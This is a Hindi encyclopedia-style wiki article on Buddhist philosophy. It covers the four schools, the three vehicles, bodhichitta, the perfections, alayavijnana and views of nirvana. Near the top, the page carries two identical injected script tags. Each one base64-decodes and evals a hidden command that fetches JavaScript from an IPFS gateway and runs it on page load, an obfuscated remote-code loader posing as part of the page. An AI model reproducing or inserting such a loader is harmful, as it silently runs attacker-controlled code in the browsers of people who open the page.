बौद्ध दर्शन

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
आदित्य चौधरी (चर्चा | योगदान) द्वारा परिवर्तित ०७:०३, ९ जनवरी २०१० का अवतरण (Text replace - '{{Menu}}<br />' to '{{Menu}}')
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बौद्ध दर्शन / Boudh Philosophy

भगवान बुद्ध द्वारा प्रवर्तित होने पर भी बौद्ध दर्शन कोई एक दर्शन नहीं, अपितु दर्शनों का समूह है। कुछ बातों में विचार साम्य होने पर भी परस्पर अत्यन्त मतभेद हैं। शब्द साम्य होने पर भी अर्थ भेद अधिक हैं। अनेक शाखोपशाखाओं में विभक्त होने पर भी दार्शनिक मान्यताओं में साम्य की दृष्टि से बौद्ध विचारों का चार विभागों में वर्गीकरण किया गया है, यथा-

  1. वैभाषिक,
  2. सौत्रान्तिक,
  3. योगाचार एवं
  4. माध्यमिक।
  • यद्यपि अठारह निकायों का वैभाषिक दर्शन में संग्रह हो जाता है और अठारह निकायों में स्थविरवाद भी संगृहीत है, जागतिक विविध दु:खों के दर्शन से तथागत शाक्यमुनि भगवान बुद्ध में सर्वप्रथम महाकरुणा का उत्पाद हुआ। तदनन्तर उस महाकरुणा से प्रेरित होने की वजह से 'मैं इन दु:खी प्राणियों को दु:ख से मुक्त करने और उन्हें सुख से अन्वित करने का भार अपने कन्धों पर लेता हूँ और इसके लिए बुद्धत्व प्राप्त करूंगा'- इस प्रकार का उनमें बोधिचित्त उत्पन्न हुआ।
  • उनकी देशनाएं तीन पिटकों और तीन यानों में विभक्त की जाती हैं।
  1. सूत्र,
  2. विनय और
  3. अभिधर्म- ये तीन पिटक हैं।
  4. श्रावकयान,
  5. प्रत्येक बुद्धयान और
  6. बोधिसत्त्वयान- ये तीन यान हैं।
  • श्रावकयान और प्रत्येकबुद्धयान को हीनयान और बोधिसत्त्वयान को महायान कहते हैं।

श्रावकयान

जो विनेय जन दु:खमय संसार-सागर को देखकर तथा उससे उद्विग्न होकर तत्काल उससे मुक्ति की अभिलाषा तो रखते हैं, किन्तु तात्कालिक रूप से सम्पूर्ण प्राणियों के हित और सुख के लिए सम्यक सम्बुद्धत्व की प्राप्ति का अध्याशय (इच्छा) नहीं रखते- ऐसे विनेय जन श्रावकयानी कहलाते हैं। उनके लिए प्रथम धर्मचक्र का प्रवर्तन करते हुए भगवान ने चार आर्यसत्व और उनके अनित्यता आदि सोलह आकारों की देशना की और इनकी भावना करने से पुद्गलनैरात्म्य का साक्षात्कार करके क्लेशावरण का समूल प्रहाण करते हुए अर्हत्त्व की और निर्वाण की प्राप्ति का मार्ग उपदिष्ट किया।

प्रत्येकबुद्धयान

श्रावक और प्रत्येकबुद्ध के लक्ष्य में भेद नहीं होता। प्रत्येक बुद्ध भी स्वमुक्ति के ही अभिलाषी होते हैं। श्रावक और प्रत्येकबुद्ध के ज्ञान में और पुण्य संचय में थोड़ा फर्क अवश्य होता है। प्रत्येकबुद्ध केवल ग्रह्यशून्यता का बोध होता है, ग्राहकशून्यता का नहीं। पुण्य भी श्रावक की अपेक्षा उनमें अधिक होता है। प्रत्येकबुद्ध उस काल में उत्पन्न होते हैं, जिस समय बुद्ध का नाम भी लोक में प्रचलित नहीं होता। वे बिना आचार्य या गुरु के ही, पूर्वजन्मों की स्मृति के आधार पर अपनी साधना प्रारम्भ करते हैं और प्रत्येकबुद्ध-अर्हत्त्व और निर्वाण पद प्राप्त करते हैं। इनकी यह भी विशेषता है कि ये वाणी के द्वारा धर्मोपदेश नहीं करते तथा संघ बनाकर नहीं रहते अर्थात एकाकी विचरण करते हैं।

बोधिसत्त्वयान

जो विनेय जन सम्पूर्ण सत्त्वों के हित और सुख के लिए सम्यक सम्बुद्धत्व प्राप्त करना चाहते हैं, ऐसे विनेय जन बोधिसत्त्वयानी कहलाते हैं। उन लोगों के लिए भगवान ने बोधिचित्त का उत्पाद कर छह या दस पारमिताओं की साधना का उपदेश दिया तथा पुद्गलनैरात्म्य के साथ धर्मनैरात्म्य का भी विभिन्न युक्तियों से प्रतिवेध कर क्लेशावरण और ज्ञेयावरण दोनों के प्रहाण द्वारा सम्यक सम्बुद्धत्व की प्राप्ति के मार्ग का उपदेश किया। इसे महायान भी कहते हैं।

महायान की व्युत्पत्ति

'यायते अनेनेति यानम्' अर्थात जिससे जाया जाता है, यह 'यान' है। इस विग्रह के अनुसार मार्ग, जिससे गन्तव्य स्थान तक जाया जाता है, 'यान' है। अर्थात यान-शब्द मार्ग का वाचक है। 'यायते अस्मिन्निति यानम्' अर्थात जिसमें जाया जाता है, यह भी 'यान' है। इस दूसरे विग्रह के अनुसार 'फल' भी यान कहलाता है। फल ही गन्तव्य स्थान होता है। इस तरह यान-शब्द फलवाचक भी होता है। 'महच्च तद् यानं महायानम्' अर्थात वह यान भी है और बड़ा भी है, इसलिए महायान कहलाता है।

हीनयान और महायान

वैभाषिक और सौत्रान्तिक दर्शन हीनयानी तथा योगाचार और माध्यमिक महायान दर्शन हैं इसमें कुछ सत्यांश होने पर भी दर्शन-भेद यान-भेद का नियामक कतई नहीं होता, अपितु उद्देश्य-भेद या जीवनलक्ष्य का भेद ही यानभेद का नियामक होता है। उद्देश्य की अधिक व्यापकता और अल्प व्यापकता ही महायान और हीनयान के भेद का अधार है। यहाँ 'हीन' शब्द का अर्थ 'अल्प' है, न कि तुच्छ, नीच या अधम आदि, जैसा कि आजकल हिन्दी में प्रचलित है। महायान का साधक समस्त प्राणियों को दु:ख से मुक्त करके उन्हें निर्वाण या बुद्धत्व प्राप्त कराना चाहता है। वह केवल अपनी ही दु:खों से मुक्ति नहीं चाहता, बल्कि सभी की मुक्ति के लिए व्यक्तिगत निर्वाण से निरपेक्ष रहते हुए अप्रतिष्ठित निर्वाण में स्थित होता है। जो व्यक्ति व्यक्तिगत निर्वाण प्राप्त करता हे, वह भी कोई छोटा नहीं, अपितु महापुरुष होता है। इतना सौभाग्य भी कम लोगों को प्राप्त होता है। बड़े पुण्यों का फल है यह। प्राय: सभी बौद्धेतर दर्शनों का भी अन्तिम लक्ष्य स्वमुक्ति ही है। अत: यह लक्ष्य श्रेष्ठ नहीं है, फिर भी अपने निर्वाण को स्थगित करके सभी प्राणि-मात्र को दु:खों से मुक्ति को लक्ष्य बनाना और उसके लिए प्रयास और साधना करना, अवश्य ही अधिक श्रेष्ठ है।

महाकरुणा

दु:ख करुणा का आलम्बन होता है तथा दु:ख को सहन नहीं कर पाना इसका आकार होता है। विविध प्रकार की शिरोवेदना आदि शारीरिक वेदनाएं दु:ख-दु:ख हैं। वर्तमान में सुखवत् प्रतीत होने पर भी परिणाम में दु:खदायी धर्म विपरिणाम दु:ख कहलाते हैं। सभी अनित्यों से वियोग दु:खप्रद होता है, इसलिए सभी अनित्य धर्म संस्कार-दु:ख हें। करुणा भी प्रारम्भ में 'सत्वालम्बना' होती है। अर्थात प्राणियों को और उनके दु:खों को आलम्बन बनाती है। किन्तु भावना के बल से विकसित होकर बाद में 'धर्मालम्बना' हो जाती है। बौद्ध दर्शन के अनुसार पुद्गल की सत्ता नहीं होती, वह जड़ और चेतना का पुंजमात्र होता है, फिर भी दु:खों से मुक्त करने की अभिलाषा 'धर्मालम्बना' करुणा होती है। वस्तुत: प्रज्ञा द्वारा विचार करने पर सभी धर्म नि:स्वभाव (शून्य) होते हैं। वस्तुत: सभी सत्त्व और उनके दु:ख भी नि:स्वभाव ही हैं, फिर भी अर्थात् शून्यता का अवबोध रखते हुए भी करुणावश बुद्ध एवं बोधिसत्त्व दु:खी प्राणियों के दु:ख को दूर करने का प्रयास करते हैं। उनकी ऐसी करुणा 'निरालम्ब' करुणा कहलाती है।

बोधिचित्त

बोधिचित्त ही महायान में प्रवेश कर द्वार होता है। बोधिचित्त के उत्पाद के साथ व्यक्ति महायानों और बोधिसत्त्व कहलाने लगता है तथा बोधिचित्त से भ्रष्ट होने पर महायान से च्युत हो जाता है। 'बुद्धो भवेयं जगतो हिताय' [१] अर्थात सभी प्राणियों को दु:खों से मुक्त करने के लिए मैं बुद्धत्व प्राप्त करूँगा-ऐसी अकृत्रिम अभिलाषा 'बोधिचित्त' कहलाती है। इस प्रकार बुद्धत्व महायान के अनुसार साध्य नहीं, अपितु साधनमात्र है। साध्य तो समस्त प्राणियों की दु:खों से मुक्ति ही है। बोधिचित्त भी प्रणिधि और प्रस्थान के भेद से द्विविध होता है। ऊपर जो बुद्धत्व प्राप्ति की अकृत्रिम अभिलाषा को बोधिचित्त कहा गया है, वह 'प्रणिधि-बोधिचित्त' है। इसके उत्पन्न हो जाने पर साधक महायान-संवर ग्रहण करके ब्रह्मविहार, संग्रहवस्तु एवं पारमिता आदि की साधना में प्रवृत्त होता है, यह 'प्रस्थान-बोधिचित्त' कहलाता है। शास्त्रों में प्रणिधि-बोधिचित्त का भी विपुल फल और महती अनुशंसा वर्णित है।

पारमिताओं की साधना

पारमिताएं दस होती हैं, किन्तु उनका छह में भी अन्तर्भाव किया जाता है। दान, शील, क्षान्ति, वीर्य, ध्यान एवं प्रज्ञा-ये छह पारमिताएं हैं। उपाय कौशल पारमिता, प्रणिधान पारमिता, बल पारमिता एवं ज्ञान पारमिता-इन चार को मिलाकर पारमिताएं दस भी होती हैं। शास्त्रों में अधिकतर छह पारमिताओं की चर्चा की उपलब्ध होती है। इन छह पारमिताओं में छठवीं प्रज्ञापारमिता ही 'प्रज्ञा' है तथा शेष पांच पारमिताएं 'पुण्य' कहलाती हैं। इन पांचों को एक शब्द द्वारा 'करुणा' भी कहते हैं। प्रज्ञा और करुणा ये दोनों बुद्धत्व प्राप्ति के उत्तम उपाय हैं। अभ्यास या भावना के द्वारा विकास की पराकाष्ठा को प्राप्त कर ये दोनों बुद्धत्व अवस्था में समरस होकर स्थित होती हैं। प्रज्ञा और करुणा की यह सामरस्यावस्था ही बुद्धत्व है। त्रिकायात्मक बुद्धत्व की प्राप्ति, बिना इन पारमिताओं के, सम्भव नहीं है।

  1. धर्मकाय,
  2. सम्भोगकाय और
  3. निर्माणकाय- ये तीन कार्य हैं। बुद्धत्व की प्राप्ति के साथ इन तीन कार्यों की प्राप्ति होती है।
  • महायान के पारमितानय के अनुसार अभ्यास द्वारा प्रज्ञा विकसित होते हुए अन्त में बुद्ध के ज्ञान-धर्मकाय के रूप में परिणत हो जाती है। किन्तु सम्भोग और निर्माण कार्यों की प्राप्ति पुण्य अर्थात शेष पांच पारमिताओं के बल से ही होती है। इसीलिए बोधिसत्त्व बुद्धत्व की प्राप्ति के लिए तीन असंख्येय कल्प पर्यन्त ज्ञान और पुण्य सम्भारों का अर्जन करता है।
  • महायान सूत्रों में व्रत, उपवास, स्नान, मन्त्र आदि का विधान है, जिसके द्वारा पापों का प्रक्षालन और मुक्ति की प्राप्ति का उल्लेख है, जैसा कि ब्राह्मण धर्म में है- यह आक्षेप भी नितान्त ही सारहीन है। क्योंकि अनन्तद्वारधारणी की साधना के अनुसार इस धारणी की भावना करने वाला साधक (बोधिसत्व) संस्कृत और असंस्कृत किसी भी धर्म की कल्पना नहीं करता, केवल बुद्धानुस्मृति की भावना करता है।
  • नागराजपरिपृच्छासूत्र में भी कहा गया है कि सभी धर्म आदित: विशुद्ध हैं, इसलिए धारणी में स्थित बोधिसत्व शून्यस्वरूप बीजाक्षरों का अनुसरण करता है, उनकी खोज करता है और उनमें स्थित होता है, जिससे उसमें राग, द्वेष, मोह आदि उत्पन्न नहीं होते। यह साधना भी वैसे ही है, जैसे अनित्यता, अशुचि आदि की भावना अर्थात धारणीमन्त्र और विद्यामन्त्र का तथागत के उपदेशानुसार जप, ध्यान एवं भावना करने से पाप का क्षय तथा चित्त सन्तति शान्त होती है। यह मार्ग सत्य की भावना के समान ही है। धारणीमन्त्र के जप के समय साधक में पाप से उत्पन्न होने वाले विपाक के प्रति भय तथा पाप कर्म के प्रति हेयता का भाव होता है और अन्त में उस पाप की पुनरावृत्ति न हो, ऐसी प्रतिज्ञा करना अनिवार्य होता है। ये सब पाप प्रायश्चित के अंग हैं।
  • अठारहों निकायों को दार्शनिक विभाजन के अवसर पर वैभाषिक कहने की बौद्ध दार्शनिकों की परम्परा रही है। इसलिए हम भी वैभाषिक, सौत्रान्तिक, योगाचार और माध्यमिक इन प्रसिद्ध चार बौद्ध दर्शनों के विचारों को ही तुलनात्मक दृष्टि से प्रस्तुत करेंगे। यह भी ज्ञात है कि वैभाषिक और सैत्रान्तिकों को हीनयान तथा योगाचार और माध्यमिकों को महायान कहने की परम्परा है। यद्यपि हीनयान और महायान के विभाजन का आधार दर्शन बिलकुल नहीं है।

वस्तुसत्ता
वैभाषिक बाह्यार्थवादी हैं। वे आन्तरिक एवं बाह्य सभी पदार्थों की वस्तुसत्ता स्वीकार करते हैं। सौत्रान्तिक भी बाह्यार्थवादी है और स्वभावसत्तावादी भी। सौत्रान्तिक आचार्य शुभगुप्त ने 'बाह्यार्थसिद्धकारिका' नामक अपने ग्रन्थ में बड़े विस्तार से युक्तिपूर्वक विज्ञानवादियों का खण्डन करके बाह्यार्थ की सत्ता सिद्ध की है। बाह्यार्थ को सिद्ध करने में सौत्रान्तिकों ने अभूतपूर्व एवं स्तुत्य प्रयास किया है। विज्ञानवादी निर्बाह्यार्थवादी हैं। इनके मत में बाह्यार्थ परिकल्पित मात्र हैं अर्थात बाह्यार्थ खपुष्पवत अलीक है। वे केवल विज्ञान-परिणाम की ही द्रव्यत: सत्ता स्वीकार करते हैं। चित्त-चैतसिकों के बाहर कोई धर्म नहीं है। परमाणु की सत्ता का उन्होंने बड़े जोरदार ढंग से निषेध किया है। फलत: परमाणुओं से संचित स्थूल बाह्यार्थ का निषेध अपने-आप हो जाता है।
परमाणु

  • वैभाषिक परमाणुवादी हैं। यद्यपि परमाणु के स्वरूप के बारे में उनमें परस्पर अनेकविध मतभेद हें, तथापि सभी परमाणु की सत्ता स्वीकार करते हैं। सौत्रान्तिक भी परमाणु मानते हैं। बाह्यर्थवादियों के लिए परमाणु मानना आवश्यक भी है। विज्ञानवादी परमाणु नहीं मानते। बाह्यार्थ का अभाव एवं विज्ञान की सत्ता सिद्ध करने के लिए परमाणु का निषेध करना आवश्यक होता है। इसीलिए आचार्य वसुबन्धु ने विंशिका में निरवयव परमाणु का जोरदार खण्डन किया है।
  • प्रासंगिक माध्यमिक भी वैभाषिकों की भाँति परमाणुवादी हैं, तथापि दोनों के मत में मौलिक अन्तर है। सभी प्रकार के वैभाषिक निरवयव परमाणु मानते हैं। प्रासंगिक परमाणु को कल्पित मानते हैं। वह कल्पित परमाणु भी उनके मतानुसार निरवयव नहीं हो सकते, अपितु सावयव होते हैं। वे कहते हैं कि जैसे व्यवहार में घट, पट आदि की सत्ता है, उसी प्रकार परमाणु का भी अस्तित्व है।

आलयविज्ञान

  • स्थविरवादी यद्यपि आलयविज्ञान नहीं मानते, फिर भी कर्म, कर्मफल, पुनर्जन्म आदि की व्यवस्था के लिए एक 'भवाङ्ग' नामक चित्त स्वीकार करते हैं। इनके मतानुसार भावाङ्ग ही व्यक्तित्व है, जो कुछ अवस्थाओं को छोड़कर समुद्र की भाँति भीतर ही भीतर निरन्तर प्रवाहित होता रहता है। जैसे आलयविज्ञान जब तक बुद्धत्व प्राप्त नहीं होता, तब तक निरन्तर अविच्छिन्न रूप से प्रवृत्त होता रहता है, वैसे ही भवाङ्ग चित्त भी अर्हत के निरूपधिशेष निर्वाणधातु में लीन होते तक प्रवृत्त होता रहता है। समुद्र से तरङ्गों की भांति आलयविज्ञान से जैसे सात प्रवृत्तिविज्ञानों की की प्रवृत्ति होती है और अन्त में वे उसी में विलीन हो जाते हैं, वैसे ही भवाङ्ग चित्त से छह प्रवृत्तिविज्ञानों (वीथिचित्तो) की प्रवृत्ति होती है और प्रवृत्त होकर उसी में विलीन हो जाते हैं। *विज्ञानवादी आलयविज्ञान को जैसे कुशल, अकुशल का विपाक मानते हैं, स्थविरवादियों के मत में भवाङ्ग चित्त भी कुशल, अकुशल कर्मों का विपाक होता है। आलयविज्ञान की भांति भवाङ्ग चित्त भी प्रतिसन्धि (पुनर्जन्म ग्रहण) और च्युति (मरण) कृत्य करता है। आलयविज्ञान और भवाङ्ग दोनों संस्कृत और क्षणिक होते हैं। विज्ञानवाद के अनुसार आलयविज्ञान में कुशल, अकुशल, अव्याकृत सभी चित्तों की वासनाएं निहित रहती हैं। वह समस्त धर्मों के बीजों का आधार होता है, वैसे भवाङ्ग चित्त से भी षड् विज्ञानवीथियाँ उत्पन्न होती हैं और अन्त में उसी में पतित हो जाती हैं। फलत: वह भी वासनाओं का आधार हो जाता है।

निर्वाण

  • वैभाषिक निरोध को निर्वाण मानते हैं। वह भी प्रतिसंख्यानिरोध और अप्रतिसंख्यानिरोध के भेद से द्विविध हैं। इन दोनों में प्रतिसंख्यानिरोध ही मुख्य है। निरुपधिशेषनिर्वाण की अवस्था में सभी संस्कृत धर्म निरुद्ध हो जाते हैं और वह (संस्कृत धर्मों का निरोध) अप्रति संख्या निरोध स्वरूप होता है। वह असंस्कृत होता है और द्रव्यत: सत होता है।
  • सौत्रान्तिकों के मत में निर्वाण अभावमात्र (प्रसज्यप्रतिषेधस्वरूप) होता है, जो समस्त क्लेशों से रहित मात्र है।
  • विज्ञानवादियों के मत में निर्वाणयद्रव्यत: सत नहीं है। वह क्लेशावरण का अभावमात्र है। महानिर्वाण भी क्लेशावरण और ज्ञेयावरण दोनों का अभावमात्र ही है और वह एक नित्य धर्म है। महायाननिर्वाण की अवस्था बुद्धत्व की अवस्था है। इस अवस्था में यद्यपि सास्त्रव पंच स्कन्ध अर्थात सास्त्रव शरीर एवं चित्तसन्तति विद्यमान नहीं होते, तथापि अनास्त्रव पंच स्कन्ध विद्यमान होते हैं, जो समस्त जीवों का कल्याण सिद्ध करते हैं। माध्यमिक भी ऐसी ही मानते हैं।

बुद्धवचन
वैभाषिक महायानसूत्रों को बुद्धवचन नहीं मानते, क्योंकि उनमें वर्णित विषय उन्हें अभीष्ट नहीं हैं। वे केवल हीनयानी त्रिपिटक को ही बुद्धवचन मानते हैं। प्राचीन या आगमानुयायी सौत्रान्तिक महायानसूत्रों को बुद्धवचन नहीं मानते थे, किन्तु धर्मकीर्ति के बाद के अर्वाचीन या युक्त्यनुयायी सौत्रान्तिक महायानी आचार्यों के प्रभाव से महायानसूत्रों को बुद्धवचन मानने लगे, फिर भी वे उनका अर्थ प्रकारान्तर से लेते थे। महायानी आचार्य हीनयानी और महायानी सभी सूत्रों को बुद्धवचन मानते हैं।
धर्मचक्र

  • वैभाषिक और सौत्रान्तिक एक धर्मचक्र ही मानते हैं, जिसकी देशना भगवान ने ऋषिपतन मृगदाव में की थीं इसके विनेय जन श्रावकवर्गीय लोग हैं, जो स्वलक्षण और बाह्यसत्ता पर आधृत चतुर्विध आर्यसत्य के पात्र हैं। पुद्गल-नैरात्म्य के साक्षात्कार द्वारा निर्वाण प्राप्त कर लेना, इसका लक्ष्य है। श्रावक-वर्गीय लोगों की दृष्टि से यह नीतार्थ देशना है। योगाचार और माध्यमिक लोगों की दृष्टि से यह नेयार्थ देशना है।
  • महायानी तीन धर्मचक्र प्रवर्तन मानते हैं। पहला ऋषिपतन मृगदाव में, दूसरा गृध्रकूट पर्वत पर तथा तीसरा वैशाली में द्वितीय धर्मचक्र के विनेय जन महायानी लोग हैं तथा शून्यता, अनुत्पाद, अनिरोध आदि इसकी विषयवस्तु हैं। विज्ञानवादी लोग इस द्वितीय धर्मचक्र को नेयार्थ मानते हैं, नीतार्थ नहीं। इसमें प्रमुखता: प्रज्ञापारमितासूत्र देशित हैं, जिनसे माध्यमिक दर्शन विकसित हुआ है। इसकी नेयनीतार्थता के बारे में स्वातन्त्रिक माध्यमिकों एवं प्रासंगिक माध्यमिकों में थोड़ा-बहुत मतभेद है। आचार्य भावविवेक, ज्ञानगर्भ, शान्तरक्षित आदि स्वातन्त्रिक माध्यमिकों के अनुसार प्रज्ञापारमितासूत्रों में आर्यशतसाहस्त्रिका प्रज्ञापारमिता आदि कुछ सूत्र नीतार्थ हैं, क्योंकि इनमें सभी धर्मों की परमार्थत: नि:स्वभावता निर्दिष्ट है। भगवती प्रज्ञापारमिताहृदयसूत्र आदि यद्यपि द्वितीय धर्मचक्र में संगृहीत हैं, तथापि वे नीतार्थ नहीं माने जा सकते, क्योंकि इनके द्वारा जिस प्रकार की सर्वधर्मनि:स्वभावता प्रतिपादित की गई है उस प्रकार की नि:स्वभावता स्वातन्त्रिक माध्यमिकों को इष्ट नहीं हैं यद्यपि इन सूत्रों का अभिप्राय परमार्थत: नि:स्वाभावता ही है, तथापि उनमें 'परमार्थत:' यह विशेषण अधिक स्पष्ट नहीं है जो कि स्वातन्त्रिक माध्यमिकों के अनुसार नीतार्थसूत्र होने के लिए परमावश्यक है। क्योंकि ये लोग व्यवहार में वस्तु की स्वलक्षण सत्ता स्वीकार करते हैं।

टीका टिप्पणी

  1. (अद्वयवज्रसंग्रह कुदृष्टिनिर्धातन, पृ. 6)